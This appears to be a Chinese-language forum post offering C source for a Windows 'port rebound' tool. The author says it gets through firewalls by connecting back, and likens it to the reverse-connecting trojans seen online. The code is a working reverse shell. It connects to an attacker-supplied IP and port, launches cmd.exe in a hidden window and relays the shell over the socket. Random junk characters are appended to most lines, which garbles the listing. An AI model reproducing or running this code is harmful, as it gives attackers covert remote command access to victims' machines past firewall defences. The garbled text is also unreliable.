Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ERz{, >
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/* ============================== t @vb3  
Rebound port in Windows NT 6Us*zKgW  
By wind,2006/7 d@e2+3<  
===============================*/ VFLW@  
#include RgTrj  
#include d}--}&r  
t?;\'  
#pragma comment(lib,"wsock32.lib") Dwuao`~Xm  
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void OutputShell(); 
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SOCKET sClient; gjDxgNpa  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /YHAU5N/}  
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void main(int argc,char **argv) "`Mowp*  
{ s>c0K@ADO  
WSADATA stWsaData; Ge+T[  
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; r%412#  
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if(argc != 3) bd)'1;p  
{ /
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printf("Useage:\n\rRebound DestIP DestPort\n"); W\5PsGUsv  
return; %=`wN^3t2  
} _(:<l YaY  
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WSAStartup(MAKEWORD(2,2),&stWsaData); =>htX(k}  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $L"h|>b\o  
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stSaiClient.sin_family = AF_INET; /_qW?LKG/  
stSaiClient.sin_port = htons(0); _bn "c@s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z~1uyr(  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |qz&d=>  
{ LDh,!5G-M  
printf("Bind Socket Failed!\n"); %WlTx&jSgE  
return; 3*=_vl3  
} ,)M/mG?,  
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stSaiServer.sin_family = AF_INET; i|[**P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W5,&*mo  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }inV)QQ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E<sd\~~A:  
{ Q?>DbT6  
printf("Connect Error!"); s w
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return; qPBOt;N  
} q~`dxq`}  
OutputShell(); n?*r,)'  
} (0E<Fz V  
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void OutputShell() #Q'#/\5  
{ *vzEfmN:d  
char szBuff[1024]; <$??Z;6  
SECURITY_ATTRIBUTES stSecurityAttributes; Q^bYx (r5w  
OSVERSIONINFO stOsversionInfo; foUB/&Ee  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1my1m  
STARTUPINFO stStartupInfo; -&l%CR,U  
char *szShell; z(Z7[#.  
PROCESS_INFORMATION stProcessInformation; %n6NVi_[  
unsigned long lBytesRead; 8([ MR  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _y&XFdp  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xdf4%/Op  
stSecurityAttributes.lpSecurityDescriptor = 0; ,0c]/Sd*p  
stSecurityAttributes.bInheritHandle = TRUE; ;Yt+{pI  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3N5@<
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D?=4'"@v  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zz!jt A  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 33
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stStartupInfo.wShowWindow = SW_HIDE; f `D(V-4  
stStartupInfo.hStdInput = hReadPipe; "j&'R#$&d  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n =WH=:&  
sF>O=F-7  
GetVersionEx(&stOsversionInfo); #m17cDL  
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switch(stOsversionInfo.dwPlatformId) Zl>dB
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{ {,u})U2  
case 1: ,,!P-kK$  
szShell = "command.com"; #uF`|M$u  
break; \KzH5?  
default: cg o  
szShell = "cmd.exe"; $s4.A
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break; F{.\i*$  
} Bgn%d4W;G  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l4dG=x}M]  
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send(sClient,szMsg,77,0); @%G?Nht]o  
while(1)
f%i%QZP  
{ vQ]d?Tp  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;b:'i&r  
if(lBytesRead) CmV &+C$V%  
{ h!v<J
  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oR,6esA+6n  
send(sClient,szBuff,lBytesRead,0); jCXBp>9$M  
} a+cDH  
else r@m]#4  
{ H%XF~tF:  
lBytesRead=recv(sClient,szBuff,1024,0); xQ7U$QF|]  
if(lBytesRead<=0) break; IRwtM'%0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); awwSgy  
} N'WC!K.e
 
} wMj#.Jh  
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return; K,
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}